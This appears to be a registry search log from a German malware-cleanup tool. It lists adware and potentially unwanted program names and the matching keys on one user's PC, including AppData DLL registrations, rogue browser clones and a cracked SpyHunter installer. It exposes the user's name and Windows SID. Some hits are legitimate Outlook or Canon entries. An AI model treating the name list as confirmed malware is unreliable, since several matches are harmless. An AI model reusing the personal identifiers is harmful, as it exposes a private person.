================== Registry-Suche: "SwytShop;Interstat;Plumbytes;KUAIZIP;initialsite123;Speedownloader;Socia2Sear;EnigmaSoftwareGroup;HDWallpaper;AppTrailers;WiperSoft;DownloadProtect;SpyHunter;betterads;amule;OtherSearch;System Healer;ZipTool;iSafe;Softlink;AdvinstAnalytics;gplyra;Qizsywosale Core;Phucusy;Anerpe;Grerdaentlerveck;Minerent;ourluckysites;trotux;Everness;ProxyGate;Elex-tech;Applemy;Minerent;Arucerther;AdvinstAnalytics;Cerzaentfisuge;ttwifi;Quick Tharks Screen Saver;SoftUpgrade;devnull;Grerdaentlerveck;Draveingplererward;VideoMemoryDiagnostic;Prfasaretaly;pccleanplus;Babylon;terana;CSHMDR;CWASRE;NPASRE;VNASRE;ANSARE;background_fault;WANARE;SNAREA;SNARE;SNARER;Yeshat;BrowserModule;Kyubey;BikaQRss;WinSAPSvc;Mikghbiritain" ===========


===================== Suchergebnis f黵 "Interstat" ==========

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{DB49BBEB-C744-49F8-81AC-AF97669D4CB0}]
""="PrinterStatusHTMLViewExtension Class"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{DB49BBEB-C744-49F8-81AC-AF97669D4CB0}]
""="PrinterStatusHTMLViewExtension Class"

[HKEY_USERS\.DEFAULT\Software\Classes\Applications\interstatnogui.exe]

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\Users\Nick Schuster\AppData\Roaming\InterStat\interstat.exe"="0x5341435001000000000000000700000028000000301F2E00410D2F0001000000000000000000030600210000975FD891C99ECE0100000000000000000200000028000000000000000000000000000000000000000000000000000000E00E0100000000000200000002000000"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\NetCtl]
"original"="Interstatnogui"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Classes\ActivatableClasses\CLSID\{C6088F97-CEEA-5089-ABB2-5BED3E25756E}]
"ActivatableClassId"="Canon.IJ.IJPU.PrinterStatusNotifier"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Classes\ActivatableClasses\Package\34791E63.CanonInkjetPrintUtility_2.6.0.5_neutral__6e5tt8cgb93ep\ActivatableClassId\Canon.IJ.IJPU.PrinterStatusNotifier]


===================== Suchergebnis f黵 "Plumbytes" ==========

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RADAR\HeapLeakDetection\DiagnosedApplications\Plumbytes.exe]

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\Program Files\Plumbytes Software\Plumbytes Anti-Malware\Plumbytes.exe"="0x5341435001000000000000000700000028000000105922005C812200010000000000000000000306F3220000B395E7CF049FCE0100000000000000000200000028000000000000000000000000000000000000000000000000000000907F9400000000000100000001000000"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\Program Files\Plumbytes Software\Plumbytes Anti-Malware\uninstall.exe"="0x53414350010000000000000007000000280000005B030300D1EA460101000000000000000000010600010000975FD891C99ECE01000000000000000002000000280000000000000000000040000000000000000000000000000000008C920000000000000100000001000000"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache]
"C:\Program Files\Plumbytes Software\Plumbytes Anti-Malware\Plumbytes.exe.FriendlyAppName"="Plumbytes"


===================== Suchergebnis f黵 "KUAIZIP" ==========

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved]
"KuaiZip Shell Extension"="{6ADF19E3-77A3-4395-ADB4-9FD7D351EB3E}"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows\CurrentVersion\ApplicationAssociationToasts]
"KuaiZip.rar_.rar"="0"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows\CurrentVersion\ApplicationAssociationToasts]
"KuaiZip.zip_.zip"="0"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows\CurrentVersion\ApplicationAssociationToasts]
"KuaiZip.jar_.jar"="0"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.iso\OpenWithProgids]
"KuaiZipMount.iso"=""

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.jar\OpenWithProgids]
"KuaiZip.jar"=""

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.rar\OpenWithProgids]
"KuaiZip.rar"=""

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\Program Files\快压\X86\KuaiZip.exe"="0x5341435001000000000000000700000028000000C0E9150045D9160001000000000000000000030671220000975FD891C99ECE0100000000000000000200000028000000000000000000000000000000000000000000000000000000DA080000000000000100000001000000"


===================== Suchergebnis f黵 "Speedownloader" ==========

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\5ritFihZeyda]
"product"="speedownloader"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\Program Files (x86)\SpeeDownloader\uninstaller.exe"="0x53414350010000000000000007000000280000000026130000000000030000000000000000000306F5220000B395E7CF049FCE0100000000000000000100000004000000010000000500000010000000000000000000000000000000000000000200000050000000000000000000004000008000000000000000800000000000F5200000000000000200000002000000000000000000000000000000000000000000000000000000E02E0000000000000100000000000000"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Wow6432Node\Speedownloader0099]


===================== Suchergebnis f黵 "HDWallpaper" ==========

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\Program Files (x86)\HDWallPaper\unins000.exe"="0x5341435001000000000000000700000028000000C97E12000000000003000000000000000000030600210000975FD891C99ECE010000000000000000020000002800000000000000000000000000000000000000000000000000000021120000000000000100000001000000"


===================== Suchergebnis f黵 "AppTrailers" ==========

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\Users\Nick Schuster\AppData\Roaming\AppTrailers\Uninstall.exe"="0x5341435001000000000000000700000028000000BE3507000498BC0103000000000000000000010600010000975FD891C99ECE0100000000000000000200000028000000000000000000000000000000000000000000000000000000DA150000000000000100000001000000"


===================== Suchergebnis f黵 "WiperSoft" ==========

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\Users\Nick Schuster\Desktop\WiperSoft-installer.exe"="0x534143500100000000000000070000002800000028361E0005041F0001000000000000000000030600210000975FD891C99ECE010000000000000000020000002800000000000000000000000000000000000000000000000000000036126800000000000100000001000000"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\Program Files\WiperSoft\WiperSoft-inst.exe"="0x534143500100000000000000070000002800000028361E0005041F0001000000000000000000030600210000975FD891C99ECE01000000000000000002000000280000000000000000000000000000000000000000000000000000009C490000000000000100000001000000"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"SIGN.IE=01E3628 WiperSoft-installer.exe"="0x534143500100000000000000070000002800000028361E0005041F0001000000000000000000030600210000975FD891C99ECE0100000000000000000200000028000000000000000000000000000000000000000000000000000000540C0000000000000100000001000000"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\Users\Nick Schuster\Downloads\WiperSoft-installer.exe"="0x534143500100000000000000070000002800000028361E0005041F0001000000000000000000030600210000975FD891C99ECE0100000000000000000200000028000000000000000000000000000000000000000000000000000000F1581300000000000100000001000000"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache]
"C:\Program Files\WiperSoft\WiperSoft.exe.FriendlyAppName"="WiperSoft"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache]
"C:\Program Files\WiperSoft\WiperSoft.exe.ApplicationCompany"="WiperSoft"


===================== Suchergebnis f黵 "SpyHunter" ==========

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RADAR\HeapLeakDetection\DiagnosedApplications\SpyHunter4.exe]

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"SIGN.IE=046E650 Spyhunter 4 Crack.exe"="0x534143500100000000000000070000002800000050E6460036E0460001000000000000000000030600210000975FD891C99ECE01000000000000000002000000280000000000000000000040000000000000000000000000000000008BA66400000000000200000002000000"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"SIGN.IE=035A6B0 SpyHunter-Installer.exe"="0x5341435001000000000000000700000028000000B0A635008DA9350001000000000000000000030600210000975FD891C99ECE0100000000000000000200000028000000000000000000004000000000000000000000000000000000E9170E00000000000100000001000000"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\Program Files\Enigma Software Group\SpyHunter\SpyHunter4.exe"="0x5341435001000000000000000700000028000000A8047D00E4B17D0001000000000000000000030600210000975FD891C99ECE01000000000000000002000000280000000000000000000040000000000000000000000000000000004061AA00000000000D0000000D000000"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache]
"C:\Program Files\Enigma Software Group\SpyHunter\SpyHunter4.exe.FriendlyAppName"="SpyHunter4 application"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache]
"C:\Program Files\Enigma Software Group\SpyHunter\SpyHunter4.exe.ApplicationCompany"="Enigma Software Group USA, LLC."


===================== Suchergebnis f黵 "amule" ==========

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\ProgramData\ChelfNotify\_SSpm\amule.msi"="0x534143500100000000000000070000002800000000EA0000FD42010001000000000000000000010500100000975FD891C99ECE010000000000000000020000002800000000000000000000000000000000000000000000000000000062140000000000000200000002000000"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\Windows\Temp\oua2BBB.tmp\amule.msi"="0x534143500100000000000000070000002800000000EA0000FD42010001000000000000000000010500100000975FD891C99ECE0100000000000000000200000028000000000000000000000000000000000000000000000000000000AD050000000000000100000001000000"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\programdata\winsapsvc\winsap_update\amule.msi"="0x534143500100000000000000070000002800000000EA0000FD42010001000000000000000000010500100000975FD891C99ECE0100000000000000000200000028000000000000000000000000000000000000000000000000000000640C0000000000000100000001000000"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\Windows\Temp\winsap_update\amule.msi"="0x534143500100000000000000070000002800000000EA0000FD42010001000000000000000000010500100000975FD891C99ECE010000000000000000020000002800000000000000000000000000000000000000000000000000000059130000000000000200000002000000"


===================== Suchergebnis f黵 "OtherSearch" ==========

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\Program Files (x86)\OtherSearch\uninstall.exe"="0x534143500100000000000000070000002800000055F000000000000003000000000000000000010600010000975FD891C99ECE01000000000000000002000000280000000000000000000000000000000000000000000000000000006E410000000000000100000001000000"


===================== Suchergebnis f黵 "ZipTool" ==========

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows\CurrentVersion\ApplicationAssociationToasts]
"ZipTool.zip_.zip"="0"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows\CurrentVersion\ApplicationAssociationToasts]
"ZipTool.cab_.cab"="0"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.cab\OpenWithProgids]
"ZipTool.cab"=""

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.zip\OpenWithProgids]
"ZipTool.zip"=""

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\Program Files\ZipTool\ZipTool.exe"="0x5341435001000000000000000700000028000000A03F1000622F110001000000000000000000030673220000B395E7CF049FCE01000000000000000002000000280000000000000000000000000000000000000000000000000000003A060000000000000200000002000000"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\Program Files\ZipTool\Uninstall.exe"="0x534143500100000000000000070000002800000000BE07000000000003000000000000000000030600210000975FD891C99ECE010000000000000000020000002800000000000000000000000000000000000000000000000000000022310000000000000400000004000000"


===================== Suchergebnis f黵 "iSafe" ==========

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{03C3860D-86B7-4F36-924C-3B1AD93B4C79}]
""="ISafeReportItem"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{0A95BE2D-1543-46BE-AD6D-18653034BF87}]
""="ISafeMailItem"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{3120A5E4-552D-4EDF-8C48-70C5D5FF22D2}]
""="ISafeContactItem"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{31CE2164-4D5C-4508-BCA7-B10E11D08E6B}]
""="ISafeMAPIFolder"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{35EFAD55-134A-47BF-912A-44A9D9FD556F}]
""="ISafeAppointmentItem"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{5C61669E-F0CE-4126-B365-316588E6228F}]
""="ISafeRecipient"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{6A5D680A-8F9F-4752-A056-2C0273F60B4E}]
""="ISafePostItem"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{6E4C6020-2932-4DDD-BDA8-998AE4CDF50D}]
""="ISafeInspector"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{BB94DAAD-7836-4D62-9557-2A7B83839B7B}]
""="ISafeSaveHandleManager"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{CACB61E0-AEEA-404D-88E1-7F3BCA8B8726}]
""="ISafeRecipients"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{CD5B9523-6EAF-4D63-8FE8-C081C51D1673}]
""="ISafeTable"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{D7E6FB7C-A22F-4A9D-A89D-653D1AA37324}]
""="ISafeCurrentUser"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{D80AC53D-E102-4A55-A265-529A626515E5}]
""="ISafeItems"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{DBCAD616-BFD4-4C72-8D87-C5926921D378}]
""="_ISafeItem"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{E3EC74BB-5522-462D-A00F-2728C53FCA04}]
""="ISafeJournalItem"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{EBB4EBA9-D546-4C85-A05A-167BF875FB83}]
""="ISafeDistList"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F7919641-3978-4668-8388-7310329C800E}]
""="ISafeMeetingItem"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F961CE9D-AE2B-4CFB-887C-3A055FF685C9}]
""="ISafeTaskItem"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{03C3860D-86B7-4F36-924C-3B1AD93B4C79}]
""="ISafeReportItem"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{0A95BE2D-1543-46BE-AD6D-18653034BF87}]
""="ISafeMailItem"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{3120A5E4-552D-4EDF-8C48-70C5D5FF22D2}]
""="ISafeContactItem"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{31CE2164-4D5C-4508-BCA7-B10E11D08E6B}]
""="ISafeMAPIFolder"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{35EFAD55-134A-47BF-912A-44A9D9FD556F}]
""="ISafeAppointmentItem"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{5C61669E-F0CE-4126-B365-316588E6228F}]
""="ISafeRecipient"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{6A5D680A-8F9F-4752-A056-2C0273F60B4E}]
""="ISafePostItem"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{6E4C6020-2932-4DDD-BDA8-998AE4CDF50D}]
""="ISafeInspector"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{BB94DAAD-7836-4D62-9557-2A7B83839B7B}]
""="ISafeSaveHandleManager"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{CACB61E0-AEEA-404D-88E1-7F3BCA8B8726}]
""="ISafeRecipients"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{CD5B9523-6EAF-4D63-8FE8-C081C51D1673}]
""="ISafeTable"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{D7E6FB7C-A22F-4A9D-A89D-653D1AA37324}]
""="ISafeCurrentUser"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{D80AC53D-E102-4A55-A265-529A626515E5}]
""="ISafeItems"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{DBCAD616-BFD4-4C72-8D87-C5926921D378}]
""="_ISafeItem"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{E3EC74BB-5522-462D-A00F-2728C53FCA04}]
""="ISafeJournalItem"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{EBB4EBA9-D546-4C85-A05A-167BF875FB83}]
""="ISafeDistList"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{F7919641-3978-4668-8388-7310329C800E}]
""="ISafeMeetingItem"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{F961CE9D-AE2B-4CFB-887C-3A055FF685C9}]
""="ISafeTaskItem"

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\iSafeKrnlBoot]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\iSafeKrnlBoot]
"ProgramPath"="C:\Program Files (x86)\Elex-tech\YAC"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\Program Files (x86)\Elex-tech\YAC\iSafeSvc.exe"="0x5341435001000000000000000700000028000000D0FF01002EC5020001000000000000000000030671220000975FD891C99ECE01000000000000000005000000100000000000000000000000000000000000000002000000280000000000000000000000000000000000000000000000000000004D220000000000000200000002000000"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\Program Files (x86)\Elex-tech\YAC\iSafeTHlp.exe"="0x5341435001000000000000000700000028000000B8830600725A070001000000000000000000030671220000975FD891C99ECE010000000000000000050000001000000000000000000000000000000000000000020000002800000000000000000000000000000000000000000000000000000056460200000000000200000002000000"


===================== Suchergebnis f黵 "Phucusy" ==========

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{5EBD559E-A5BA-11E6-B9FD-64006A5CFC23}\InProcServer32]
""="C:\Users\Nick Schuster\AppData\Roaming\Phucusy\Pipothzo.dll"


===================== Suchergebnis f黵 "Anerpe" ==========

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{9C829CE8-039A-11E7-8F7F-64006A5CFC23}\InProcServer32]
""="C:\Users\Nick Schuster\AppData\Roaming\Anerpe\Zoduly.dll"


===================== Suchergebnis f黵 "Grerdaentlerveck" ==========

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{234628B4-4048-11E7-9F2C-64006A5CFC23}\InProcServer32]
""="C:\Users\Nick Schuster\AppData\Roaming\Grerdaentlerveck\Thuvale.dll"


===================== Suchergebnis f黵 "Minerent" ==========

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{A4CD8824-4049-11E7-9F11-64006A5CFC23}\InProcServer32]
""="C:\Users\Default\AppData\Roaming\Minerent\Wuteghtplejipy.dll"


===================== Suchergebnis f黵 "ourluckysites" ==========

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Internet Explorer\EUPP Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy\DSP]
"DoNotAskAgain"="www.ourluckysites.com"


===================== Suchergebnis f黵 "Everness" ==========

[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Everness]

[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Everness]
"path"="C:\Program Files (x86)\Everness\"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Everness]

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Internet Explorer\LowRegistry\Audio\PolicyConfig\PropertyStore\5dd36cc3_0]
""="{2}.\\?\hdaudio#func_01&ven_10ec&dev_0269&subsys_1b0a2256&rev_1002#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\espeakertopo/00010001
\Device\HarddiskVolume3\Program Files (x86)\Everness\Application\chrome.exe%b{00000000-0000-0000-0000-000000000000}"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\Program Files (x86)\Everness\Application\chrome.exe"="0x5341435001000000000000000700000028000000585F0E0077AC0E0001000000000000000000030600210000975FD891C99ECE010000000100000000"


===================== Suchergebnis f黵 "ProxyGate" ==========

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{3bbe95d4-c53f-11d1-b3a2-00a0c9083365}]
""="ITipProxyGatewaySink"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{3bbe95d5-c53f-11d1-b3a2-00a0c9083365}]
""="ITipProxyGateway"


===================== Suchergebnis f黵 "Elex-tech" ==========

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\iSafeKrnlBoot]
"ProgramPath"="C:\Program Files (x86)\Elex-tech\YAC"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\Program Files (x86)\Elex-tech\YAC\iSafeSvc.exe"="0x5341435001000000000000000700000028000000D0FF01002EC5020001000000000000000000030671220000975FD891C99ECE01000000000000000005000000100000000000000000000000000000000000000002000000280000000000000000000000000000000000000000000000000000004D220000000000000200000002000000"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\Program Files (x86)\Elex-tech\YAC\iSafeTHlp.exe"="0x5341435001000000000000000700000028000000B8830600725A070001000000000000000000030671220000975FD891C99ECE010000000000000000050000001000000000000000000000000000000000000000020000002800000000000000000000000000000000000000000000000000000056460200000000000200000002000000"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\Program Files (x86)\Elex-tech\YAC\uninstall.exe"="0x5341435001000000000000000700000028000000C08410009E23110003000000000000000000010600010000975FD891C99ECE01000000000000000002000000280000000000000000000000000000000000000000000000000000004DFC0100000000000200000002000000"


===================== Suchergebnis f黵 "Applemy" ==========

[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Applemy]

[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Applemy]
"path"="C:\Program Files (x86)\Applemy\"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\Program Files (x86)\Applemy\Application\chrome.exe"="0x534143500100000000000000070000002800000058E50E0095D30F0001000000000000000000030600210000975FD891C99ECE010000000100000000"


===================== Suchergebnis f黵 "Minerent" ==========

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{A4CD8824-4049-11E7-9F11-64006A5CFC23}\InProcServer32]
""="C:\Users\Default\AppData\Roaming\Minerent\Wuteghtplejipy.dll"


===================== Suchergebnis f黵 "Arucerther" ==========

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\Program Files (x86)\Arucerther\phehigh.exe"="0x5341435001000000000000000700000028000000B88F0A002CBC020003000000000000000000030600210000975FD891C99ECE0100000080000000000500000010000000000000000000000000000000000000000200000028000000000000000000000000000000000000000000000000000000CB000000000000002C0000002C000000"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\Program Files (x86)\Arucerther_\phehigh.exe"="0x5341435001000000000000000700000028000000B88F0A002CBC020003000000000000000000030600210000975FD891C99ECE0100000080000000000200000028000000000000000000000000000000000000000000000000000000AB080000000000000100000001000000"


===================== Suchergebnis f黵 "ttwifi" ==========

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\Program Files (x86)\ttwifi\unins000.exe"="0x534143500100000000000000070000002800000036130E000000000003000000000000000000010600010000975FD891C99ECE01000000000000000002000000280000000000000000000000000000000000000000000000000000002F0D0000000000000100000001000000"


===================== Suchergebnis f黵 "devnull" ==========

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Folders]
"C:\Program Files (x86)\devnull\"=""

[HKEY_USERS\.DEFAULT\Software\Caphyon\Advanced Updater\{5CD51A71-6B12-48AA-A8C4-525C1D32DC13}]
"C:\Program Files (x86)\devnull\NetAdapterUpdate\updater.exe"="0"

[HKEY_USERS\.DEFAULT\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers]
"C:\Program Files (x86)\devnull\NetAdapterUpdate\NetAdapterUpdate.exe"="~ RUNASADMIN"

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
"C:\AppData\Roaming\devnull\NetAdapterUpdate 2.3.5\install\22B566E\NetAdapterUpdate_setup.msi"="0x534143500100000000000000070000002800000000FE00002CDB010001000000000000000000010500100000B395E7CF049FCE0100000000000000000200000028000000000000000000000000000000000000000000000000000000F53A0000000000000100000001000000"


===================== Suchergebnis f黵 "Grerdaentlerveck" ==========

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{234628B4-4048-11E7-9F2C-64006A5CFC23}\InProcServer32]
""="C:\Users\Nick Schuster\AppData\Roaming\Grerdaentlerveck\Thuvale.dll"


===================== Suchergebnis f黵 "Prfasaretaly" ==========

[HKEY_USERS\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store]
